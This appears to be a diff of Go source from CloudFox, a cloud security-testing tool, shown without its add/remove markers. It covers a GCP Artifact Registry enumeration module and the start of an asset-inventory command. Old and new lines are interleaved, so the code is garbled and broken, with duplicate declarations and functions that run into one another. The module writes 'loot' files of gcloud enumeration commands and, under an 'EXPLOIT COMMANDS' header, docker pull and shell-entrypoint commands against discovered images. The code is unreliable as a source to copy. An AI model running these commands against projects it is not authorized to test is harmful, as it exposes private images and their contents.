ArtifactData []ArtifactRegistryService.ArtifactInfo
|
||||
RepositoryData []ArtifactRegistryService.RepositoryInfo
|
||||
// Module-specific fields
|
||||
ProjectArtifacts map[string][]ArtifactRegistryService.ArtifactInfo // projectID -> artifacts
|
||||
ProjectRepositories map[string][]ArtifactRegistryService.RepositoryInfo // projectID -> repos
|
||||
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
|
||||
client *artifactregistry.Client
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
// Decide what format the name, header and body of the CSV & JSON files will be
|
||||
func (g GCPArtifactRegistryResults) TableFiles() []internal.TableFile {
|
||||
var tableFiles []internal.TableFile
|
||||
|
||||
repoHeader := []string{
|
||||
"Name",
|
||||
"Format",
|
||||
"Description",
|
||||
"Size",
|
||||
"Location",
|
||||
"ProjectID",
|
||||
}
|
||||
|
||||
var repoBody [][]string
|
||||
|
||||
for _, value := range g.RepositoryData {
|
||||
repoBody = append(
|
||||
repoBody,
|
||||
[]string{
|
||||
value.Name,
|
||||
value.Format,
|
||||
value.Description,
|
||||
value.SizeBytes,
|
||||
value.Location,
|
||||
value.ProjectID,
|
||||
},
|
||||
)
|
||||
}
|
||||
|
||||
repoTableFile := internal.TableFile{
|
||||
Header: repoHeader,
|
||||
Body: repoBody,
|
||||
Name: fmt.Sprintf("%s-repos", globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME),
|
||||
}
|
||||
|
||||
tableFiles = append(tableFiles, repoTableFile)
|
||||
|
||||
artifactHeader := []string{
|
||||
"Name",
|
||||
"Format",
|
||||
"Version",
|
||||
"Location",
|
||||
"Repository",
|
||||
"Size",
|
||||
"Updated",
|
||||
"ProjectID",
|
||||
}
|
||||
|
||||
var artifactBody [][]string
|
||||
|
||||
for _, value := range g.ArtifactData {
|
||||
artifactBody = append(
|
||||
artifactBody,
|
||||
[]string{
|
||||
value.Name,
|
||||
value.Format,
|
||||
value.Version,
|
||||
value.Location,
|
||||
value.Repository,
|
||||
value.SizeBytes,
|
||||
value.Updated,
|
||||
value.ProjectID,
|
||||
},
|
||||
)
|
||||
}
|
||||
|
||||
artifactTableFile := internal.TableFile{
|
||||
Header: artifactHeader,
|
||||
Body: artifactBody,
|
||||
Name: fmt.Sprintf("%s-artifacts", globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME),
|
||||
}
|
||||
|
||||
tableFiles = append(tableFiles, artifactTableFile)
|
||||
|
||||
return tableFiles
|
||||
// ------------------------------
|
||||
// Output Struct implementing CloudfoxOutput interface
|
||||
// ------------------------------
|
||||
type ArtifactRegistryOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
// Decide what is loot based on resource information
|
||||
func (g GCPArtifactRegistryResults) LootFiles() []internal.LootFile {
|
||||
// TODO consider a loot file of the URLs to the all docker image artifacts. Maybe sample commands to pull the images
|
||||
return []internal.LootFile{}
|
||||
}
|
||||
func (o ArtifactRegistryOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o ArtifactRegistryOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
// Houses high-level logic that retrieves resources and writes to output
|
||||
// ------------------------------
|
||||
// Command Entry Point
|
||||
// ------------------------------
|
||||
func runGCPArtifactRegistryCommand(cmd *cobra.Command, args []string) {
|
||||
// Retrieve projectIDs from parent (gcp command) ctx
|
||||
var projectIDs []string
|
||||
var account string
|
||||
parentCmd := cmd.Parent()
|
||||
ctx := cmd.Context()
|
||||
logger := internal.NewLogger()
|
||||
if value, ok := ctx.Value("projectIDs").([]string); ok && len(value) > 0 {
|
||||
projectIDs = value
|
||||
} else {
|
||||
logger.ErrorM("Could not retrieve projectIDs from flag value or value is empty", globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
|
||||
}
|
||||
|
||||
if value, ok := ctx.Value("account").(string); ok {
|
||||
account = value
|
||||
} else {
|
||||
logger.ErrorM("Could not retrieve account email from command", globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
|
||||
}
|
||||
|
||||
client, err := artifactregistry.NewClient(ctx)
|
||||
// Initialize command context
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("failed to create secret manager client: %v", err), globals.GCP_SECRETS_MODULE_NAME)
|
||||
return // Error already logged
|
||||
}
|
||||
|
||||
// Create Artifact Registry client
|
||||
client, err := artifactregistry.NewClient(cmdCtx.Ctx)
|
||||
if err != nil {
|
||||
cmdCtx.Logger.ErrorM(fmt.Sprintf("Failed to create Artifact Registry client: %v", err), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
defer client.Close()
|
||||
|
||||
// Get the artifact repositories and artifacts using the projectIDs and ArtifactRegistryService
|
||||
ars := ArtifactRegistryService.New(client)
|
||||
var artifactResults []ArtifactRegistryService.ArtifactInfo
|
||||
var repoRestuls []ArtifactRegistryService.RepositoryInfo
|
||||
// Create module instance
|
||||
module := &ArtifactRegistryModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectArtifacts: make(map[string][]ArtifactRegistryService.ArtifactInfo),
|
||||
ProjectRepositories: make(map[string][]ArtifactRegistryService.RepositoryInfo),
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
client: client,
|
||||
}
|
||||
|
||||
// Set output params leveraging parent (gcp) pflag values
|
||||
verbosity, _ := parentCmd.PersistentFlags().GetInt("verbosity")
|
||||
wrap, _ := parentCmd.PersistentFlags().GetBool("wrap")
|
||||
outputDirectory, _ := parentCmd.PersistentFlags().GetString("outdir")
|
||||
format, _ := parentCmd.PersistentFlags().GetString("output")
|
||||
for _, projectID := range projectIDs {
|
||||
logger.InfoM(fmt.Sprintf("Retrieving all artifact repositories and supported artifacts in all locations from project: %s", projectID), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
|
||||
result, err := ars.RepositoriesAndArtifacts(projectID)
|
||||
if err != nil {
|
||||
logger.ErrorM(err.Error(), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
|
||||
return
|
||||
// Execute enumeration
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Execution
|
||||
// ------------------------------
|
||||
func (m *ArtifactRegistryModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
// Run enumeration with concurrency
|
||||
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME, m.processProject)
|
||||
|
||||
allRepos := m.getAllRepositories()
|
||||
allArtifacts := m.getAllArtifacts()
|
||||
|
||||
// Check results
|
||||
if len(allRepos) == 0 && len(allArtifacts) == 0 {
|
||||
logger.InfoM("No artifact registries found", globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
logger.SuccessM(fmt.Sprintf("Found %d repository(ies) with %d artifact(s)", len(allRepos), len(allArtifacts)), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
|
||||
|
||||
// Write output
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
// getAllRepositories returns all repositories from all projects
|
||||
func (m *ArtifactRegistryModule) getAllRepositories() []ArtifactRegistryService.RepositoryInfo {
|
||||
var all []ArtifactRegistryService.RepositoryInfo
|
||||
for _, repos := range m.ProjectRepositories {
|
||||
all = append(all, repos...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// getAllArtifacts returns all artifacts from all projects
|
||||
func (m *ArtifactRegistryModule) getAllArtifacts() []ArtifactRegistryService.ArtifactInfo {
|
||||
var all []ArtifactRegistryService.ArtifactInfo
|
||||
for _, artifacts := range m.ProjectArtifacts {
|
||||
all = append(all, artifacts...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Project Processor (called concurrently for each project)
|
||||
// ------------------------------
|
||||
func (m *ArtifactRegistryModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Enumerating artifact registries in project: %s", projectID), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
|
||||
}
|
||||
|
||||
// Create service and fetch data
|
||||
ars := ArtifactRegistryService.New(m.client)
|
||||
result, err := ars.RepositoriesAndArtifacts(projectID)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate artifact registries in project %s", projectID))
|
||||
return
|
||||
}
|
||||
|
||||
// Thread-safe store per-project
|
||||
m.mu.Lock()
|
||||
m.ProjectRepositories[projectID] = result.Repositories
|
||||
m.ProjectArtifacts[projectID] = result.Artifacts
|
||||
|
||||
// Initialize loot for this project
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
m.LootMap[projectID]["artifact-registry-commands"] = &internal.LootFile{
|
||||
Name: "artifact-registry-commands",
|
||||
Contents: "# GCP Artifact Registry Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
}
|
||||
|
||||
artifactResults = append(artifactResults, result.Artifacts...)
|
||||
repoRestuls = append(repoRestuls, result.Repositories...)
|
||||
logger.InfoM(fmt.Sprintf("Done retrieving artifact repository resource data from project: %s", projectID), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
|
||||
cloudfoxOutput := GCPArtifactRegistryResults{ArtifactData: artifactResults, RepositoryData: repoRestuls}
|
||||
// Generate loot for each repository and artifact
|
||||
for _, repo := range result.Repositories {
|
||||
m.addRepositoryToLoot(projectID, repo)
|
||||
}
|
||||
for _, artifact := range result.Artifacts {
|
||||
m.addArtifactToLoot(projectID, artifact)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
err = internal.HandleOutput("gcp", format, outputDirectory, verbosity, wrap, globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME, account, projectID, cloudfoxOutput)
|
||||
if err != nil {
|
||||
logger.ErrorM(err.Error(), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
|
||||
return
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Found %d repository(ies) and %d artifact(s) in project %s", len(result.Repositories), len(result.Artifacts), projectID), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Loot File Management
|
||||
// ------------------------------
|
||||
func (m *ArtifactRegistryModule) addRepositoryToLoot(projectID string, repo ArtifactRegistryService.RepositoryInfo) {
|
||||
lootFile := m.LootMap[projectID]["artifact-registry-commands"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Extract repo name from full path
|
||||
repoName := repo.Name
|
||||
parts := strings.Split(repo.Name, "/")
|
||||
if len(parts) > 0 {
|
||||
repoName = parts[len(parts)-1]
|
||||
}
|
||||
|
||||
// Handle legacy Container Registry differently
|
||||
if repo.RegistryType == "container-registry" {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# =============================================================================\n"+
|
||||
"# LEGACY CONTAINER REGISTRY: %s\n"+
|
||||
"# =============================================================================\n"+
|
||||
"# Project: %s\n"+
|
||||
"# Note: Consider migrating to Artifact Registry\n"+
|
||||
"# Configure Docker authentication:\n"+
|
||||
"gcloud auth configure-docker %s\n"+
|
||||
"# List images:\n"+
|
||||
"gcloud container images list --repository=%s/%s\n"+
|
||||
"# Check for public access (via storage bucket):\n"+
|
||||
"gsutil iam get gs://artifacts.%s.appspot.com\n\n",
|
||||
repo.Name, repo.ProjectID,
|
||||
strings.Split(repo.Name, "/")[0], // gcr.io hostname
|
||||
strings.Split(repo.Name, "/")[0], repo.ProjectID,
|
||||
repo.ProjectID,
|
||||
)
|
||||
return
|
||||
}
|
||||
|
||||
// Repository header and enumeration commands
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# =============================================================================\n"+
|
||||
"# REPOSITORY: %s\n"+
|
||||
"# =============================================================================\n"+
|
||||
"# Project: %s, Location: %s\n"+
|
||||
"# Format: %s, Mode: %s, Encryption: %s, Public: %s\n\n"+
|
||||
"# === ENUMERATION COMMANDS ===\n\n"+
|
||||
"# Describe repository:\n"+
|
||||
"gcloud artifacts repositories describe %s --project=%s --location=%s\n"+
|
||||
"# Get IAM policy:\n"+
|
||||
"gcloud artifacts repositories get-iam-policy %s --project=%s --location=%s\n",
|
||||
repoName, repo.ProjectID, repo.Location,
|
||||
repo.Format, repo.Mode, repo.EncryptionType, repo.PublicAccess,
|
||||
repoName, repo.ProjectID, repo.Location,
|
||||
repoName, repo.ProjectID, repo.Location,
|
||||
)
|
||||
|
||||
// Docker-specific commands
|
||||
if repo.Format == "DOCKER" {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Configure Docker authentication:\n"+
|
||||
"gcloud auth configure-docker %s-docker.pkg.dev\n"+
|
||||
"# List images:\n"+
|
||||
"gcloud artifacts docker images list %s-docker.pkg.dev/%s/%s\n"+
|
||||
"# List vulnerabilities:\n"+
|
||||
"gcloud artifacts docker images list %s-docker.pkg.dev/%s/%s --show-occurrences --occurrence-filter=\"kind=VULNERABILITY\"\n",
|
||||
repo.Location,
|
||||
repo.Location, repo.ProjectID, repoName,
|
||||
repo.Location, repo.ProjectID, repoName,
|
||||
)
|
||||
}
|
||||
|
||||
lootFile.Contents += "\n"
|
||||
}
|
||||
|
||||
func (m *ArtifactRegistryModule) addArtifactToLoot(projectID string, artifact ArtifactRegistryService.ArtifactInfo) {
|
||||
lootFile := m.LootMap[projectID]["artifact-registry-commands"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Exploitation commands for Docker images
|
||||
if artifact.Format == "DOCKER" {
|
||||
imageBase := fmt.Sprintf("%s-docker.pkg.dev/%s/%s/%s",
|
||||
artifact.Location, artifact.ProjectID, artifact.Repository, artifact.Name)
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# -----------------------------------------------------------------------------\n"+
|
||||
"# DOCKER IMAGE: %s\n"+
|
||||
"# -----------------------------------------------------------------------------\n"+
|
||||
"# Project: %s, Repository: %s, Location: %s\n"+
|
||||
"# Digest: %s\n",
|
||||
artifact.Name,
|
||||
artifact.ProjectID,
|
||||
artifact.Repository, artifact.Location,
|
||||
artifact.Digest,
|
||||
)
|
||||
|
||||
lootFile.Contents += "\n# === EXPLOIT COMMANDS ===\n\n"
|
||||
// Generate commands for each tag
|
||||
if len(artifact.Tags) > 0 {
|
||||
for _, tag := range artifact.Tags {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Tag: %s\n"+
|
||||
"docker pull %s:%s\n"+
|
||||
"docker inspect %s:%s\n"+
|
||||
"docker run -it --entrypoint /bin/sh %s:%s\n\n",
|
||||
tag,
|
||||
imageBase, tag,
|
||||
imageBase, tag,
|
||||
imageBase, tag,
|
||||
)
|
||||
}
|
||||
} else {
|
||||
// No tags, use digest
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# No tags - use digest\n"+
|
||||
"docker pull %s@%s\n"+
|
||||
"docker inspect %s@%s\n"+
|
||||
"docker run -it --entrypoint /bin/sh %s@%s\n\n",
|
||||
imageBase, artifact.Digest,
|
||||
imageBase, artifact.Digest,
|
||||
imageBase, artifact.Digest,
|
||||
)
|
||||
}
|
||||
logger.InfoM(fmt.Sprintf("Done writing output for project %s", projectID), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Generation
|
||||
// ------------------------------
|
||||
func (m *ArtifactRegistryModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
// Count public repos for finding message
|
||||
publicCount := 0
|
||||
for _, repos := range m.ProjectRepositories {
|
||||
for _, repo := range repos {
|
||||
if repo.IsPublic {
|
||||
publicCount++
|
||||
}
|
||||
}
|
||||
}
|
||||
if publicCount > 0 {
|
||||
logger.InfoM(fmt.Sprintf("[FINDING] Found %d publicly accessible repository(ies)!", publicCount), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
|
||||
}
|
||||
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
m.writeFlatOutput(ctx, logger)
|
||||
}
|
||||
}
|
||||
|
||||
// getRepoHeader returns the header for repository table
|
||||
func (m *ArtifactRegistryModule) getRepoHeader() []string {
|
||||
return []string{
|
||||
"Project",
|
||||
"Name",
|
||||
"Format",
|
||||
"Location",
|
||||
"Mode",
|
||||
"Public",
|
||||
"Encryption",
|
||||
"IAM Binding Role",
|
||||
"Principal Type",
|
||||
"IAM Binding Principal",
|
||||
}
|
||||
}
|
||||
|
||||
// getArtifactHeader returns the header for artifact table
|
||||
func (m *ArtifactRegistryModule) getArtifactHeader() []string {
|
||||
return []string{
|
||||
"Project",
|
||||
"Name",
|
||||
"Repository",
|
||||
"Location",
|
||||
"Tags",
|
||||
"Digest",
|
||||
"Size",
|
||||
"Uploaded",
|
||||
}
|
||||
}
|
||||
|
||||
// reposToTableBody converts repositories to table body rows
|
||||
func (m *ArtifactRegistryModule) reposToTableBody(repos []ArtifactRegistryService.RepositoryInfo) [][]string {
|
||||
var body [][]string
|
||||
for _, repo := range repos {
|
||||
// Extract repo name from full path
|
||||
repoName := repo.Name
|
||||
parts := strings.Split(repo.Name, "/")
|
||||
if len(parts) > 0 {
|
||||
repoName = parts[len(parts)-1]
|
||||
}
|
||||
|
||||
// Format public access display
|
||||
publicDisplay := ""
|
||||
if repo.IsPublic {
|
||||
publicDisplay = repo.PublicAccess
|
||||
}
|
||||
|
||||
// Shorten mode for display
|
||||
mode := repo.Mode
|
||||
mode = strings.TrimPrefix(mode, "REPOSITORY_MODE_")
|
||||
mode = strings.TrimSuffix(mode, "_REPOSITORY")
|
||||
|
||||
// One row per IAM member
|
||||
if len(repo.IAMBindings) > 0 {
|
||||
for _, binding := range repo.IAMBindings {
|
||||
for _, member := range binding.Members {
|
||||
memberType := ArtifactRegistryService.GetMemberType(member)
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(repo.ProjectID),
|
||||
repoName,
|
||||
repo.Format,
|
||||
repo.Location,
|
||||
mode,
|
||||
publicDisplay,
|
||||
repo.EncryptionType,
|
||||
binding.Role,
|
||||
memberType,
|
||||
member,
|
||||
})
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Repository with no IAM bindings
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(repo.ProjectID),
|
||||
repoName,
|
||||
repo.Format,
|
||||
repo.Location,
|
||||
mode,
|
||||
publicDisplay,
|
||||
repo.EncryptionType,
|
||||
"-",
|
||||
"-",
|
||||
"-",
|
||||
})
|
||||
}
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
// artifactsToTableBody converts artifacts to table body rows
|
||||
func (m *ArtifactRegistryModule) artifactsToTableBody(artifacts []ArtifactRegistryService.ArtifactInfo) [][]string {
|
||||
var body [][]string
|
||||
for _, artifact := range artifacts {
|
||||
// Format tags
|
||||
tags := "-"
|
||||
if len(artifact.Tags) > 0 {
|
||||
if len(artifact.Tags) <= 3 {
|
||||
tags = strings.Join(artifact.Tags, ", ")
|
||||
} else {
|
||||
tags = fmt.Sprintf("%s (+%d more)", strings.Join(artifact.Tags[:3], ", "), len(artifact.Tags)-3)
|
||||
}
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(artifact.ProjectID),
|
||||
artifact.Name,
|
||||
artifact.Repository,
|
||||
artifact.Location,
|
||||
tags,
|
||||
artifact.Digest,
|
||||
artifact.SizeBytes,
|
||||
artifact.Uploaded,
|
||||
})
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
// buildTablesForProject builds table files for a project
|
||||
func (m *ArtifactRegistryModule) buildTablesForProject(projectID string) []internal.TableFile {
|
||||
var tableFiles []internal.TableFile
|
||||
|
||||
if repos, ok := m.ProjectRepositories[projectID]; ok && len(repos) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: fmt.Sprintf("%s-repos", globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME),
|
||||
Header: m.getRepoHeader(),
|
||||
Body: m.reposToTableBody(repos),
|
||||
})
|
||||
}
|
||||
|
||||
if artifacts, ok := m.ProjectArtifacts[projectID]; ok && len(artifacts) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: fmt.Sprintf("%s-artifacts", globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME),
|
||||
Header: m.getArtifactHeader(),
|
||||
Body: m.artifactsToTableBody(artifacts),
|
||||
})
|
||||
}
|
||||
|
||||
return tableFiles
|
||||
}
|
||||
|
||||
// writeHierarchicalOutput writes output to per-project directories
|
||||
func (m *ArtifactRegistryModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
for projectID := range m.ProjectRepositories {
|
||||
tableFiles := m.buildTablesForProject(projectID)
|
||||
|
||||
// Collect loot for this project
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outputData.ProjectLevelData[projectID] = ArtifactRegistryOutput{Table: tableFiles, Loot: lootFiles}
|
||||
}
|
||||
|
||||
// Also add projects that only have artifacts
|
||||
for projectID := range m.ProjectArtifacts {
|
||||
if _, exists := outputData.ProjectLevelData[projectID]; !exists {
|
||||
tableFiles := m.buildTablesForProject(projectID)
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outputData.ProjectLevelData[projectID] = ArtifactRegistryOutput{Table: tableFiles, Loot: lootFiles}
|
||||
}
|
||||
}
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
err := internal.HandleHierarchicalOutputSmart(
|
||||
"gcp",
|
||||
m.Format,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
pathBuilder,
|
||||
outputData,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
}
|
||||
|
||||
// writeFlatOutput writes all output to a single directory (legacy mode)
|
||||
func (m *ArtifactRegistryModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
allRepos := m.getAllRepositories()
|
||||
allArtifacts := m.getAllArtifacts()
|
||||
|
||||
// Build table files
|
||||
tableFiles := []internal.TableFile{{
|
||||
Name: fmt.Sprintf("%s-repos", globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME),
|
||||
Header: m.getRepoHeader(),
|
||||
Body: m.reposToTableBody(allRepos),
|
||||
}}
|
||||
|
||||
if len(allArtifacts) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: fmt.Sprintf("%s-artifacts", globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME),
|
||||
Header: m.getArtifactHeader(),
|
||||
Body: m.artifactsToTableBody(allArtifacts),
|
||||
})
|
||||
}
|
||||
|
||||
// Collect all loot files
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectLoot := range m.LootMap {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
output := ArtifactRegistryOutput{
|
||||
Table: tableFiles,
|
||||
Loot: lootFiles,
|
||||
}
|
||||
|
||||
// Write output using HandleOutputSmart with scope support
|
||||
scopeNames := make([]string, len(m.ProjectIDs))
|
||||
for i, id := range m.ProjectIDs {
|
||||
scopeNames[i] = m.GetProjectName(id)
|
||||
}
|
||||
err := internal.HandleOutputSmart(
|
||||
"gcp",
|
||||
m.Format,
|
||||
m.OutputDirectory,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
"project",
|
||||
m.ProjectIDs,
|
||||
scopeNames,
|
||||
m.Account,
|
||||
output,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,861 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
asset "cloud.google.com/go/asset/apiv1"
|
||||
"cloud.google.com/go/asset/apiv1/assetpb"
|
||||
assetservice "github.com/BishopFox/cloudfox/gcp/services/assetService"
|
||||
"github.com/BishopFox/cloudfox/gcp/shared"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/api/iterator"
|
||||
)
|
||||
|
||||
var (
|
||||
assetTypes []string
|
||||
showCounts bool
|
||||
checkIAM bool
|
||||
showDependencies bool
|
||||
showAll bool
|
||||
)
|
||||
|
||||
var GCPAssetInventoryCommand = &cobra.Command{
|
||||
Use: globals.GCP_ASSET_INVENTORY_MODULE_NAME,
|
||||
Aliases: []string{"assets", "cai", "resource-graph"},
|
||||
Short: "Deep asset analysis with IAM and dependencies (requires Cloud Asset API)",
|
||||
Long: `Deep resource analysis using Cloud Asset Inventory API.
|
||||
|
||||
USE THIS COMMAND WHEN:
|
||||
- You need IAM policy analysis (public access detection)
|
||||
- You want to analyze resource dependencies and cross-project relationships
|
||||
- You need to filter by specific asset types
|
||||
- Cloud Asset API is enabled in your projects
|
||||
|
||||
REQUIRES: Cloud Asset API (cloudasset.googleapis.com) to be enabled.
|
||||
To enable: gcloud services enable cloudasset.googleapis.com --project=PROJECT_ID
|
||||
|
||||
If Cloud Asset API is not enabled, use 'inventory' command instead for a quick
|
||||
overview that works without the API.
|
||||
|
||||
FEATURES:
|
||||
- Lists all assets in a project (complete coverage via Asset API)
|
||||
- Provides asset counts by type (--counts)
|
||||
- Checks IAM policies for public access (--iam)
|
||||
- Analyzes resource dependencies and cross-project relationships (--dependencies)
|
||||
- Supports filtering by asset type (--types)
|
||||
- Generates query templates for common security use cases
|
||||
|
||||
Flags can be combined to run multiple analyses in a single run.
|
||||
|
||||
Examples:
|
||||
cloudfox gcp asset-inventory -p my-project
|
||||
cloudfox gcp asset-inventory -p my-project --counts
|
||||
cloudfox gcp asset-inventory -p my-project --iam
|
||||
cloudfox gcp asset-inventory -p my-project --dependencies
|
||||
cloudfox gcp asset-inventory -p my-project --all
|
||||
cloudfox gcp asset-inventory -A --iam # All projects, check public access
|
||||
cloudfox gcp asset-inventory -p my-project --types compute.googleapis.com/Instance,storage.googleapis.com/Bucket`,
|
||||
Run: runGCPAssetInventoryCommand,
|
||||
}
|
||||
|
||||
func init() {
|
||||
GCPAssetInventoryCommand.Flags().StringSliceVar(&assetTypes, "types", []string{}, "Filter by asset types (comma-separated)")
|
||||
GCPAssetInventoryCommand.Flags().BoolVar(&showCounts, "counts", false, "Show asset counts by type")
|
||||
GCPAssetInventoryCommand.Flags().BoolVar(&checkIAM, "iam", false, "Check IAM policies for public access")
|
||||
GCPAssetInventoryCommand.Flags().BoolVar(&showDependencies, "dependencies", false, "Analyze resource dependencies and cross-project relationships")
|
||||
GCPAssetInventoryCommand.Flags().BoolVar(&showAll, "all", false, "Run all analyses (counts, IAM, dependencies)")
|
||||
}
|
||||
|
||||
// ResourceDependency represents a dependency between two resources
|
||||
type ResourceDependency struct {
|
||||
SourceResource string
|
||||
SourceType string
|
||||
TargetResource string
|
||||
TargetType string
|
||||
DependencyType string // uses, references, contains
|
||||
ProjectID string
|
||||
}
|
||||
|
||||
// CrossProjectResource represents a resource accessed from multiple projects
|
||||
type CrossProjectResource struct {
|
||||
ResourceName string
|
||||
ResourceType string
|
||||
OwnerProject string
|
||||
AccessedFrom []string
|
||||
}
|
||||
|
||||
type AssetInventoryModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
ProjectAssets map[string][]assetservice.AssetInfo // projectID -> assets
|
||||
ProjectTypeCounts map[string][]assetservice.AssetTypeCount // projectID -> counts
|
||||
